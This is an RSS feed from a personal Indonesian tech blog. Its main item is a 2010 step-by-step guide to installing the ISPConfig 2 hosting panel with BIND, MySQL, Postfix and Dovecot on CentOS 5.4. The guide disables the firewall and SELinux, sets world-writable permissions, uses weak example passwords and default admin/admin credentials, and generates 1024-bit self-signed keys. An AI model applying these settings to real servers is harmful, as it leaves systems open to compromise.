<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Mas Rony's Notes</title>
	<atom:link href="http://www.masrony.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.masrony.com</link>
	<description>Restore your brain... !!</description>
	<lastBuildDate>Tue, 23 Feb 2010 13:53:36 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=abc</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>ISPConfig : Webhosting Control Panel</title>
		<link>http://www.masrony.com/2010/02/21/ispconfig-webhosting-control-panel-2/</link>
		<comments>http://www.masrony.com/2010/02/21/ispconfig-webhosting-control-panel-2/#comments</comments>
		<pubDate>Sun, 21 Feb 2010 15:29:58 +0000</pubDate>
		<dc:creator>Mas Rony</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Technology]]></category>

		<guid isPermaLink="false">http://www.masrony.com/?p=349</guid>
		<description><![CDATA[Artikel ini dibuat dengan menggunakan OS Centos 5.4 dengan ISPConfig versi 2.
Sebelumnya mohon maaf, saya tidak banyak menjelaskan masing-masing bagian dari proses instalasi ini seperti pada post entry sebelum-sebelumnya. Jadi hanya point-point yang penting saja yang saya sebutkan. Instalasi ini mencakup keseluruhan dari service-service yang dibutuhkan seperti dibawah ini :
 Instalasi :
- OS : OS Centos [...]]]></description>
			<content:encoded><![CDATA[<p>Artikel ini dibuat dengan menggunakan OS Centos 5.4 dengan ISPConfig versi 2.<br />
Sebelumnya mohon maaf, saya tidak banyak menjelaskan masing-masing bagian dari proses instalasi ini seperti pada post entry sebelum-sebelumnya. Jadi hanya point-point yang penting saja yang saya sebutkan. Instalasi ini mencakup keseluruhan dari service-service yang dibutuhkan seperti dibawah ini :</p>
<li> Instalasi :</li>
<p>- OS : OS Centos 5.4 (disini tidak dibahas mengenai instalasi OS. Instalasi OS yg dibutuhkan standard package no GUI)<br />
- Web Server: Apache/2.2.3 with PHP 5.1.6<br />
- Web statistik : Webalizer V2.01-10<br />
- Database Server: MySQL 5.0.77<br />
- Mail Server: Postfix<br />
- DNS Server: BIND9 (chrooted)<br />
- FTP Server: Proftpd v1.3.2c<br />
- POP3/IMAP server: Dovecot 1.0.7</p>
<li>Setting Network dan hostname :<br />
- firewall dan SELINUX disabled<br />
- FQDN : jempol.wedus.us<br />
- IP Address : 192.168.2.67<br />
- Gateway : 192.168.2.1<br />
- DNS1 : 192.168.10.2<br />
- DNS2 : 192.168.2.67</p>
<p>Notes :<br />
Sayangnya setting network diatas tidak berhasil dilakukan pada saat instalasi karena kernel CentOS belum support on board LAN Card yg saya punya (Attansic L2). So musti sedikit ngoprek terlebih dahulu :</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;">
<pre># lspci | grep Ethernet</pre>
<p>02:00.0 Ethernet controller: Attansic Technology Corp. L2 100 Mbit Ethernet Adapter (rev a0)</p>
</div>
<p>Download terlebih dahulu drivernya di <a href="ftp://ftp.hogchain.net/pub/linux/attansic/l2-linux-v1.0.40.4.tar.gz">ftp://ftp.hogchain.net/pub/linux/attansic/l2-linux-v1.0.40.4.tar.gz</a></p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;">
<pre># tar zxvf l2-linux-v1.0.40.4.tar.gz
# cd l2-linux-v1.0.40.4/src
# make &amp;&amp; make install</pre>
</div>
</li>
<li>Setting network file :</li>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;">
<pre># vi /etc/hosts</pre>
<p># Do not remove the following line, or various programs<br />
# that require network functionality will fail.<br />
127.0.0.1		localhost.localdomain localhost<br />
192.168.2.67	jempol.wedus.us jempol</p>
</div>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;">
<pre># vi /etc/resolv.conf</pre>
<p>domain wedus.us<br />
nameserver 192.168.10.2<br />
nameserver 192.168.2.67</p>
</div>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;">
<pre># vi /etc/sysconfig/network</pre>
<p>NETWORKING=yes<br />
NETWORKING_IPV6=no<br />
HOSTNAME=jempol<br />
GATEWAY=192.168.2.1</p>
</div>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;">
<pre># vi /etc/sysconfig/network-scripts/ifcfg-eth0</pre>
<p># Please read /usr/share/doc/initscripts-*/sysconfig.txt<br />
# for the documentation of these parameters.<br />
TYPE=Ethernet<br />
DEVICE=eth0<br />
HWADDR=00:1d:60:27:22:33<br />
BOOTPROTO=none<br />
IPADDR=192.168.2.65<br />
NETMASK=255.255.255.0<br />
NETWORK=192.168.2.0<br />
BROADCAST=192.168.2.255<br />
GATEWAY=192.168.2.1<br />
ONBOOT=yes<br />
USERCTL=no<br />
IPV6INIT=no<br />
PEERDNS=no</p>
</div>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;">
<pre># /etc/init.d/network restart</pre>
<p>Shutting down interface eth0:                              [  OK  ]<br />
Shutting down loopback interface:                          [  OK  ]<br />
Bringing up loopback interface:                            [  OK  ]<br />
Bringing up interface eth0:                                [  OK  ]</p>
</div>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;">
<pre># ifconfig</pre>
<p>eth0      Link encap:Ethernet  HWaddr 00:1D:60:27:22:33<br />
inet addr:192.168.2.65  Bcast:192.168.2.255  Mask:255.255.255.0<br />
inet6 addr: fe80::21d:60ff:fe27:2233/64 Scope:Link<br />
UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1<br />
RX packets:118340 errors:0 dropped:0 overruns:0 frame:0<br />
TX packets:1921 errors:0 dropped:0 overruns:0 carrier:0<br />
collisions:0 txqueuelen:0<br />
RX bytes:13132954 (12.5 MiB)  TX bytes:197344 (192.7 KiB)</p>
<p>lo        Link encap:Local Loopback<br />
inet addr:127.0.0.1  Mask:255.0.0.0<br />
inet6 addr: ::1/128 Scope:Host<br />
UP LOOPBACK RUNNING  MTU:16436  Metric:1<br />
RX packets:955 errors:0 dropped:0 overruns:0 frame:0<br />
TX packets:955 errors:0 dropped:0 overruns:0 carrier:0<br />
collisions:0 txqueuelen:0<br />
RX bytes:8589855 (8.1 MiB)  TX bytes:8589855 (8.1 MiB)</p>
</div>
<p>Instalasi paket yang dibutuhkan :<br />
Remove paket yang tidak diinginkan (opsional) :</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;">
<pre># yum remove vsftpd NetworkManager irda isdn pcscd</pre>
</div>
<p>Setting repository ke lokal repo kambing.ui.ac.id (opsional bergantung repo yang biasa anda pakai) :<br />
# mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.asli<br />
# vim /etc/yum.repos.d/kambing.repo</p>
<p># Repository dari server kambing.ui.ac.id<br />
[kambing-base]<br />
name=CentOS.kambing-$releasever &#8211; Base<br />
baseurl=http://kambing.ui.ac.id/centos/$releasever/os/$basearch/<br />
gpgkey=http://kambing.ui.ac.id/centos/RPM-GPG-KEY-CentOS-5</p>
<p>[kambing-updates]<br />
name=CentOS.kambing-$releasever &#8211; Updates<br />
baseurl=http://kambing.ui.ac.id/centos/$releasever/updates/$basearch/<br />
gpgkey=http://kambing.ui.ac.id/centos/RPM-GPG-KEY-CentOS-5</p>
<p>[kambing-addons]<br />
name=CentOS.kambing-$releasever &#8211; Addons<br />
baseurl=http://kambing.ui.ac.id/centos/$releasever/addons/$basearch/<br />
gpgkey=http://kambing.ui.ac.id/centos/RPM-GPG-KEY-CentOS-5</p>
<p>[kambing-extras]<br />
name=CentOS.kambing-$releasever &#8211; Extras<br />
baseurl=http://kambing.ui.ac.id/centos/$releasever/extras/$basearch/<br />
gpgkey=http://kambing.ui.ac.id/centos/RPM-GPG-KEY-CentOS-5</p>
<p>[kambing-centosplus]<br />
name=CentOS.kambing-$releasever &#8211; Centosplus<br />
baseurl=http://kambing.ui.ac.id/centos/$releasever/centosplus/$basearch/<br />
enable=1<br />
gpgkey=http://kambing.ui.ac.id/centos/RPM-GPG-KEY-CentOS-5</p>
<p>[kambing-contrib]<br />
name=CentOS.kambing-$releasever &#8211; Contrib<br />
baseurl=http://kambing.ui.ac.id/centos/$releasever/contrib/$basearch/<br />
enable=1<br />
gpgkey=http://kambing.ui.ac.id/centos/RPM-GPG-KEY-CentOS-5</p>
<p>[kambing-fasttrack]<br />
name=CentOS.kambing-$releasever &#8211; Fasttrack<br />
baseurl=http://kambing.ui.ac.id/centos/$releasever/fasttrack/$basearch/<br />
enable=1<br />
gpgkey=http://kambing.ui.ac.id/centos/RPM-GPG-KEY-CentOS-5</p>
<p>import GPG key untuk authentikasi :<br />
# rpm &#8211;import http://kambing.ui.ac.id/centos/RPM-GPG-KEY-CentOS-5<br />
# yum clean all<br />
# yum makecache<br />
# yum update<br />
# reboot<br />
# uname -a</p>
<p>Linux jempol 2.6.18-164.11.1.el5.centos.plusxen #1 SMP Wed Jan 20 20:14:28 EST 2010 i686 i686 i386 GNU/Linux</p>
<p>Install paket yang diperlukan :</p>
<p># yum install fetchmail wget bzip2 unzip zip nmap openssl lynx fileutils gcc \<br />
gcc-c++ quota bind bind-chroot mysql mysql-devel mysql-server cyrus-sasl cyrus-sasl-devel \<br />
cyrus-sasl-gssapi cyrus-sasl-md5 cyrus-sasl-plain postfix dovecot php php-devel php-gd php-imap \<br />
php-ldap php-mysql php-odbc php-pear php-xml php-xmlrpc curl curl-devel perl-libwww-perl ImageMagick \<br />
libxml2 libxml2-devel httpd-devel ruby ruby-devel mod_python perl-HTML-Parser perl-DBI perl-Net-DNS \<br />
perl-Digest-SHA1 webalizer ntp</p>
<p>Setting quota :<br />
tambahkan usrquota,grpquota dibelakang defaults pada root :<br />
# vi /etc/fstab<br />
/dev/VolGroup00/LogVol00 /                       ext3    defaults,usrquota,grpquota	1 1<br />
LABEL=/boot              /boot                   ext3    defaults			1 2<br />
tmpfs                    /dev/shm                tmpfs   defaults			0 0<br />
devpts                   /dev/pts                devpts  gid=5,mode=620			0 0<br />
sysfs                    /sys                    sysfs   defaults			0 0<br />
proc                     /proc                   proc    defaults			0 0<br />
/dev/VolGroup00/LogVol01 swap                    swap    defaults			0 0</p>
<p># touch /aquota.user /aquota.group<br />
# chmod 600 /aquota.*<br />
# mount -o remount /<br />
# quotacheck -avugm<br />
# quotaon -avug</p>
<p>Setting Chrooted DNS Server (BIND9) :<br />
# chmod 755 /var/named/<br />
# chmod 775 /var/named/chroot/<br />
# chmod 775 /var/named/chroot/var/<br />
# chmod 775 /var/named/chroot/var/named/<br />
# chmod 775 /var/named/chroot/var/run/<br />
# chmod 777 /var/named/chroot/var/run/named/<br />
# cd /var/named/chroot/var/named/<br />
# ln -s ../../ chroot<br />
# cp /usr/share/doc/bind-9.3.6/sample/var/named/named.local /var/named/chroot/var/named/named.local<br />
# cp /usr/share/doc/bind-9.3.6/sample/var/named/named.root /var/named/chroot/var/named/named.root<br />
# touch /var/named/chroot/etc/named.conf<br />
# chkconfig &#8211;levels 235 named on<br />
# /etc/init.d/named start</p>
<p>Setting MySQL Server :<br />
# vi /etc/my.cnf<br />
Hapus tanda # pada bagian skip-networking<br />
# chkconfig &#8211;levels 235 mysqld on<br />
# /etc/init.d/mysqld start<br />
# mysqladmin -u root password rootpasswordmysql<br />
# mysqladmin -h jempol.wedus.us -u root password rootpasswordmysql</p>
<p>Setting SMTP-AUTH dan TLS pada Postfix :<br />
# postconf -e &#8217;smtpd_sasl_local_domain =&#8217;<br />
# postconf -e &#8217;smtpd_sasl_auth_enable = yes&#8217;<br />
# postconf -e &#8217;smtpd_sasl_security_options = noanonymous&#8217;<br />
# postconf -e &#8216;broken_sasl_auth_clients = yes&#8217;<br />
# postconf -e &#8217;smtpd_sasl_authenticated_header = yes&#8217;<br />
# postconf -e &#8217;smtpd_recipient_restrictions = permit_sasl_authenticated,permit_mynetworks,reject_unauth_destination&#8217;<br />
# postconf -e &#8216;inet_interfaces = all&#8217;<br />
# postconf -e &#8216;mynetworks = 127.0.0.0/8&#8242;<br />
Aktifkan PLAIN dan LOGIN untuk login dengan melakukan editing file :<br />
# vi /usr/lib/sasl2/smtpd.conf</p>
<p>pwcheck_method: saslauthd<br />
mech_list: plain login</p>
<p>Notes : untuk CentOS 64 bit letak file smtpd.conf di /usr/lib64/sasl2/smtpd.conf</p>
<p>Certificate untuk TLS :</p>
<p># mkdir /etc/postfix/ssl<br />
# cd /etc/postfix/ssl/<br />
# openssl genrsa -des3 -rand /etc/hosts -out smtpd.key 1024</p>
<p># chmod 600 smtpd.key<br />
# openssl req -new -key smtpd.key -out smtpd.csr</p>
<p># openssl x509 -req -days 3650 -in smtpd.csr -signkey smtpd.key -out smtpd.crt</p>
<p># openssl rsa -in smtpd.key -out smtpd.key.unencrypted</p>
<p># mv -f smtpd.key.unencrypted smtpd.key<br />
# openssl req -new -x509 -extensions v3_ca -keyout cakey.pem -out cacert.pem -days 3650</p>
<p>Configure Postfix for TLS:</p>
<p># postconf -e &#8217;smtpd_tls_auth_only = no&#8217;<br />
# postconf -e &#8217;smtp_use_tls = yes&#8217;<br />
# postconf -e &#8217;smtpd_use_tls = yes&#8217;<br />
# postconf -e &#8217;smtp_tls_note_starttls_offer = yes&#8217;<br />
# postconf -e &#8217;smtpd_tls_key_file = /etc/postfix/ssl/smtpd.key&#8217;<br />
# postconf -e &#8217;smtpd_tls_cert_file = /etc/postfix/ssl/smtpd.crt&#8217;<br />
# postconf -e &#8217;smtpd_tls_CAfile = /etc/postfix/ssl/cacert.pem&#8217;<br />
# postconf -e &#8217;smtpd_tls_loglevel = 1&#8242;<br />
# postconf -e &#8217;smtpd_tls_received_header = yes&#8217;<br />
# postconf -e &#8217;smtpd_tls_session_cache_timeout = 3600s&#8217;<br />
# postconf -e &#8216;tls_random_source = dev:/dev/urandom&#8217;</p>
<p>Set hostname untuk Postfix :<br />
postconf -e &#8216;myhostname = jempol.wedus.us&#8217;<br />
Konfigurasi Postfix selesai, silahkan cek hasil konfigurasinya :<br />
# cat /etc/postfix/main.cf (comments sudah dihilangkan)</p>
<p>queue_directory = /var/spool/postfix<br />
command_directory = /usr/sbin<br />
daemon_directory = /usr/libexec/postfix<br />
mail_owner = postfix<br />
inet_interfaces = all<br />
mydestination = $myhostname, localhost.$mydomain, localhost<br />
unknown_local_recipient_reject_code = 550<br />
alias_maps = hash:/etc/aliases<br />
alias_database = hash:/etc/aliases<br />
debug_peer_level = 2<br />
debugger_command =<br />
PATH=/bin:/usr/bin:/usr/local/bin:/usr/X11R6/bin<br />
xxgdb $daemon_directory/$process_name $process_id &amp; sleep 5</p>
<p>sendmail_path = /usr/sbin/sendmail.postfix<br />
newaliases_path = /usr/bin/newaliases.postfix<br />
mailq_path = /usr/bin/mailq.postfix<br />
setgid_group = postdrop<br />
html_directory = no<br />
manpage_directory = /usr/share/man<br />
sample_directory = /usr/share/doc/postfix-2.3.3/samples<br />
readme_directory = /usr/share/doc/postfix-2.3.3/README_FILES<br />
smtpd_sasl_local_domain =<br />
smtpd_sasl_auth_enable = yes<br />
smtpd_sasl_security_options = noanonymous<br />
broken_sasl_auth_clients = yes<br />
smtpd_sasl_authenticated_header = yes<br />
smtpd_recipient_restrictions = permit_sasl_authenticated,permit_mynetworks,reject_unauth_destination<br />
mynetworks = 127.0.0.0/8<br />
smtpd_tls_auth_only = no<br />
smtp_use_tls = yes<br />
smtpd_use_tls = yes<br />
smtp_tls_note_starttls_offer = yes<br />
smtpd_tls_key_file = /etc/postfix/ssl/smtpd.key<br />
smtpd_tls_cert_file = /etc/postfix/ssl/smtpd.crt<br />
smtpd_tls_CAfile = /etc/postfix/ssl/cacert.pem<br />
smtpd_tls_loglevel = 1<br />
smtpd_tls_received_header = yes<br />
smtpd_tls_session_cache_timeout = 3600s<br />
tls_random_source = dev:/dev/urandom<br />
myhostname = jempol.wedus.us</p>
<p>Aktivasi protokol imap, imaps, pop3, dan pop3s pada Dovecot :<br />
# vi /etc/dovecot.conf</p>
<p># Protocols we want to be serving: imap imaps pop3 pop3s<br />
# If you only want to use dovecot-auth, you can set this to &#8220;none&#8221;.<br />
protocols = imap imaps pop3 pop3s</p>
<p>Start on boot Postfix, saslauthd, Dovecot dan disable sendmail :</p>
<p># chkconfig &#8211;levels 235 sendmail off<br />
# chkconfig &#8211;levels 235 postfix on<br />
# chkconfig &#8211;levels 235 saslauthd on<br />
# chkconfig &#8211;levels 235 dovecot on<br />
# /etc/init.d/sendmail stop<br />
# /etc/init.d/postfix start<br />
# /etc/init.d/saslauthd start<br />
# /etc/init.d/dovecot start</p>
<p>##############<br />
To see if SMTP-AUTH and TLS work properly now run the following command:</p>
<p>telnet localhost 25</p>
<p>After you have established the connection to your Postfix mail server type</p>
<p>ehlo localhost</p>
<p>If you see the lines</p>
<p>250-STARTTLS</p>
<p>and</p>
<p>250-AUTH LOGIN PLAIN</p>
<p>everything is fine.</p>
<p>[root@server1 ssl]# telnet localhost 25<br />
Trying 127.0.0.1&#8230;<br />
Connected to localhost.localdomain (127.0.0.1).<br />
Escape character is &#8216;^]&#8217;.<br />
220 server1.example.com ESMTP Postfix<br />
ehlo localhost<br />
250-server1.example.com<br />
250-PIPELINING<br />
250-SIZE 10240000<br />
250-VRFY<br />
250-ETRN<br />
250-STARTTLS<br />
250-AUTH LOGIN PLAIN<br />
250-AUTH=LOGIN PLAIN<br />
250-ENHANCEDSTATUSCODES<br />
250-8BITMIME<br />
250 DSN<br />
quit<br />
221 2.0.0 Bye<br />
Connection closed by foreign host.<br />
[root@server1 ssl]#</p>
<p>Type</p>
<p>quit</p>
<p>Setting Maildir Dovecot<br />
Format Dovecot tidak menggunakan mbox tetapi menggunakan Maildir, aktifkan Maildir ini dari menu ISPConfig di Management -&gt; Server -&gt; Settings -&gt; Email.</p>
<p>postconf -e &#8216;home_mailbox = Maildir/&#8217;<br />
postconf -e &#8216;mailbox_command =&#8217;<br />
/etc/init.d/postfix restart</p>
<p>Setting Apache Webserver :<br />
# vi /etc/httpd/conf/httpd.conf</p>
<p>DirectoryIndex index.html index.htm index.shtml index.cgi index.php index.php3 index.pl</p>
<p>Instalasi ISPCpnfig :<br />
Download ISPConfig2 terlebih dahulu di sini<br />
# tar zxvf ISPConfig.tar.gz<br />
# cd ISPConfig<br />
# ./setup</p>
<p>CentOS 5.4<br />
Neuinstallation eines ISPConfig-Systems. / Installation of a new ISPConfig system. / Installation d&#8217;ISPConfig sur un nouveau syst�me.<br />
W�hlen Sie Ihre Sprache (deutsch/englisch/spanisch/franz�sisch/italienisch/niederl�ndisch/polnisch/schwedisch): / Please choose your language (German/English/Spanish/French/Italian/Dutch/Polish/Swedish):  / Merci de choisir votre langue (Allemand/Anglais/Espagnol/Fran�ais/Italien/N�erlandais/Polonais/Su�dois):<br />
1) de<br />
2) en<br />
3) es<br />
4) fr<br />
5) it<br />
6) nl<br />
7) pl<br />
 <img src='http://www.masrony.com/wp-includes/images/smilies/icon_cool.gif' alt='8)' class='wp-smiley' /> se<br />
Ihre Wahl: / Your Choice: / Votre Choix:2<br />
With the system installation, some system files are replaced where adjustments were made. This can lead to loss of entries in httpd.conf, named.conf as well as in the Sendmail configuration.</p>
<p>Do you want to continue with the installation? [y/n]y<br />
Please read through the licence carefully:</p>
<p>Copyright (c) 2005, projektfarm GmbH, Till Brehm, Falko Timme<br />
All rights reserved.</p>
<p>Redistribution and use in source and binary forms, with or without modification,<br />
are permitted provided that the following conditions are met:</p>
<p>* Redistributions of source code must retain the above copyright notice,<br />
this list of conditions and the following disclaimer.<br />
* Redistributions in binary form must reproduce the above copyright notice,<br />
this list of conditions and the following disclaimer in the documentation<br />
and/or other materials provided with the distribution.<br />
* Neither the name of ISPConfig nor the names of its contributors<br />
may be used to endorse or promote products derived from this software without<br />
specific prior written permission.</p>
<p>THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS &#8220;AS IS&#8221; AND<br />
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED<br />
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.<br />
IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,<br />
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,<br />
BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,<br />
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY<br />
OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING<br />
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,<br />
EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.</p>
<p>Do you accept the licence? [y/n]y</p>
<p>Please select the installation mode. In expert mode you have to answer some additional questions. In standard mode standard values are assumed for these questions.<br />
1) standard<br />
2) expert<br />
Your Choice: 1</p>
<p>########## MAIL SERVER ##########</p>
<p>Checking for MTA&#8230;<br />
/usr/sbin/postfix<br />
OK</p>
<p>ISPConfig found the following MTA:<br />
postfix<br />
Is this correct? [y/n]y</p>
<p>########## FTP SERVER ##########</p>
<p>Checking if an FTP server is installed&#8230;<br />
/usr/sbin/proftpd<br />
OK</p>
<p>ISPConfig found the following FTP server:<br />
proftpd<br />
Is this correct? [y/n]y</p>
<p>########## PROCMAIL ##########</p>
<p>Checking for package procmail&#8230;<br />
/usr/bin/procmail<br />
OK</p>
<p>########## QUOTA ##########</p>
<p>Checking for package quota&#8230;<br />
/usr/bin/quota<br />
OK</p>
<p>########## MYSQL SERVER ##########</p>
<p>Checking for package MySQL&#8230;<br />
/usr/bin/mysql<br />
OK</p>
<p>########## OPENSSL ##########</p>
<p>Checking for package openssl&#8230;<br />
/usr/bin/openssl<br />
OK</p>
<p>########## DNS SERVER ##########</p>
<p>Checking for package bind&#8230;<br />
/usr/sbin/named<br />
OK</p>
<p>########## IPTABLES/IPCHAINS/IPFW ##########</p>
<p>Checking for program iptables/ipchains/ipfw&#8230;<br />
/sbin/iptables<br />
OK</p>
<p>########## WEB SERVER ##########</p>
<p>Checking for program httpd&#8230;<br />
/usr/sbin/httpd<br />
OK<br />
Checking the syntax of the httpd.conf&#8230;<br />
Syntax OK<br />
The syntax is ok!</p>
<p>########## gcc ##########</p>
<p>/usr/bin/gcc<br />
OK</p>
<p>########## make ##########</p>
<p>/usr/bin/make<br />
OK</p>
<p>########## lex ##########</p>
<p>/usr/bin/lex<br />
OK</p>
<p>########## g++ ##########</p>
<p>/usr/bin/g++<br />
OK</p>
<p>########## INSTALLATION ##########</p>
<p>proses instalasi&#8230;&#8230;&#8230;.<br />
&#8212;&#8212;&#8212;&#8212;<br />
Generating custom certificate signed by own CA [CUSTOM]<br />
______________________________________________________________________</p>
<p>STEP 0: Decide the signature algorithm used for certificates<br />
The generated X.509 certificates can contain either<br />
RSA or DSA based ingredients. Select the one you want to use.<br />
Signature Algorithm ((R)SA or (D)SA) [R]:R<br />
______________________________________________________________________</p>
<p>STEP 1: Generating RSA private key for CA (1024 bit) [ca.key]<br />
178805 semi-random bytes loaded<br />
Generating RSA private key, 1024 bit long modulus<br />
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.++++++<br />
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.++++++<br />
e is 65537 (0&#215;10001)<br />
______________________________________________________________________</p>
<p>STEP 2: Generating X.509 certificate signing request for CA [ca.csr]<br />
You are about to be asked to enter information that will be incorporated<br />
into your certificate request.<br />
What you are about to enter is what is called a Distinguished Name or a DN.<br />
There are quite a few fields but you can leave some blank<br />
For some fields there will be a default value,<br />
If you enter &#8216;.&#8217;, the field will be left blank.<br />
&#8212;&#8211;<br />
1. Country Name             (2 letter code) [XY]:ID<br />
2. State or Province Name   (full name)     [Snake Desert]:East Java<br />
3. Locality Name            (eg, city)      [Snake Town]:Malang<br />
4. Organization Name        (eg, company)   [Snake Oil, Ltd]:PT. Wedus Gembel<br />
5. Organizational Unit Name (eg, section)   [Certificate Authority]:Wedus Team<br />
6. Common Name              (eg, CA name)   [Snake Oil CA]:Wedus CA<br />
7. Email Address            (eg, name@FQDN) [ca@snakeoil.dom]:ca@wedus.us<br />
8. Certificate Validity     (days)          [365]:365<br />
______________________________________________________________________</p>
<p>STEP 3: Generating X.509 certificate for CA signed by itself [ca.crt]<br />
Certificate Version (1 or 3) [3]:3<br />
Signature ok<br />
subject=/C=ID/ST=East Java/L=Malang/O=PT. Wedus Gembel/OU=Wedus Team/CN=Wedus CA/emailAddress=ca@wedus.us<br />
Getting Private key<br />
Verify: matching certificate &amp; key modulus<br />
Verify: matching certificate signature<br />
../conf/ssl.crt/ca.crt: /C=ID/ST=East Java/L=Malang/O=PT. Wedus Gembel/OU=Wedus Team/CN=Wedus CA/emailAddress=ca@wedus.us<br />
error 18 at 0 depth lookup:self signed certificate<br />
OK<br />
______________________________________________________________________</p>
<p>STEP 4: Generating RSA private key for SERVER (1024 bit) [server.key]<br />
178947 semi-random bytes loaded<br />
Generating RSA private key, 1024 bit long modulus<br />
&#8230;&#8230;&#8230;++++++<br />
&#8230;&#8230;&#8230;&#8230;&#8230;++++++<br />
e is 65537 (0&#215;10001)<br />
______________________________________________________________________</p>
<p>STEP 5: Generating X.509 certificate signing request for SERVER [server.csr]<br />
You are about to be asked to enter information that will be incorporated<br />
into your certificate request.<br />
What you are about to enter is what is called a Distinguished Name or a DN.<br />
There are quite a few fields but you can leave some blank<br />
For some fields there will be a default value,<br />
If you enter &#8216;.&#8217;, the field will be left blank.<br />
&#8212;&#8211;<br />
1. Country Name             (2 letter code) [XY]:ID<br />
2. State or Province Name   (full name)     [Snake Desert]:East Java<br />
3. Locality Name            (eg, city)      [Snake Town]:Malang<br />
4. Organization Name        (eg, company)   [Snake Oil, Ltd]:PT. Wedus Gembel<br />
5. Organizational Unit Name (eg, section)   [Webserver Team]:Wedus Team<br />
6. Common Name              (eg, FQDN)      [www.snakeoil.dom]:www.wedus.us<br />
7. Email Address            (eg, name@fqdn) [www@snakeoil.dom]:info@wedus.us<br />
8. Certificate Validity     (days)          [365]:365<br />
______________________________________________________________________</p>
<p>STEP 6: Generating X.509 certificate signed by own CA [server.crt]<br />
Certificate Version (1 or 3) [3]:3<br />
Signature ok<br />
subject=/C=ID/ST=East Java/L=Malang/O=PT. Wedus Gembel/OU=Wedus Team/CN=www.wedus.us/emailAddress=info@wedus.us<br />
Getting CA Private Key<br />
Verify: matching certificate &amp; key modulus<br />
Verify: matching certificate signature<br />
../conf/ssl.crt/server.crt: OK<br />
______________________________________________________________________</p>
<p>STEP 7: Enrypting RSA private key of CA with a pass phrase for security [ca.key]<br />
The contents of the ca.key file (the generated private key) has to be<br />
kept secret. So we strongly recommend you to encrypt the server.key file<br />
with a Triple-DES cipher and a Pass Phrase.<br />
Encrypt the private key now? [Y/n]: y<br />
writing RSA key<br />
Enter PEM pass phrase:<br />
Verifying &#8211; Enter PEM pass phrase:<br />
Fine, you&#8217;re using an encrypted private key.<br />
_______________________________________________________________________</p>
<p>STEP 8: Enrypting RSA private key of SERVER with a pass phrase for security [server.key]<br />
The contents of the server.key file (the generated private key) has to be<br />
kept secret. So we strongly recommend you to encrypt the server.key file<br />
with a Triple-DES cipher and a Pass Phrase.<br />
Encrypt the private key now? [Y/n]: y<br />
writing RSA key<br />
Enter PEM pass phrase:<br />
Verifying &#8211; Enter PEM pass phrase:</p>
<p>&#8212;&#8212;&#8212;&#8212;<br />
Connected successfully to MySQL server<br />
no crontab for root<br />
Restarting some services&#8230;<br />
Shutting down postfix:                                     [  OK  ]<br />
Starting postfix:                                          [  OK  ]<br />
Shutting down proftpd:                                     [  OK  ]<br />
Starting proftpd:                                          [  OK  ]<br />
Starting ISPConfig system&#8230;<br />
Apache/1.3.41 mod_ssl/2.8.31 (Pass Phrase Dialog)<br />
Some of your private key files are encrypted for security reasons.<br />
In order to read them you have to provide us with the pass phrases.</p>
<p>Server jempol.wedus.us:81 (RSA)<br />
Enter pass phrase:</p>
<p>Ok: Pass Phrase Dialog successful.<br />
/root/ispconfig/httpd/bin/apachectl startssl: httpd started<br />
ISPConfig system is now up and running!<br />
Congratulations! Your ISPConfig system is now installed. If you had to install quota, please take the steps described in the installation manual. Otherwise your system is now available without reboot.<br />
Please direct your browser to</p>
<p>https://jempol.wedus.us:81</p>
<p>and log in:<br />
Username: admin<br />
Password: admin</p>
<p>[root@jempol install_ispconfig]#</p>
<p>Reference : http://www.howtoforge.org</p>
]]></content:encoded>
			<wfw:commentRss>http://www.masrony.com/2010/02/21/ispconfig-webhosting-control-panel-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Drivel : A journal client for gnome desktop</title>
		<link>http://www.masrony.com/2010/02/21/drivel-a-journal-client-for-gnome-desktop/</link>
		<comments>http://www.masrony.com/2010/02/21/drivel-a-journal-client-for-gnome-desktop/#comments</comments>
		<pubDate>Sun, 21 Feb 2010 14:52:11 +0000</pubDate>
		<dc:creator>Mas Rony</dc:creator>
				<category><![CDATA[Blog Wall]]></category>

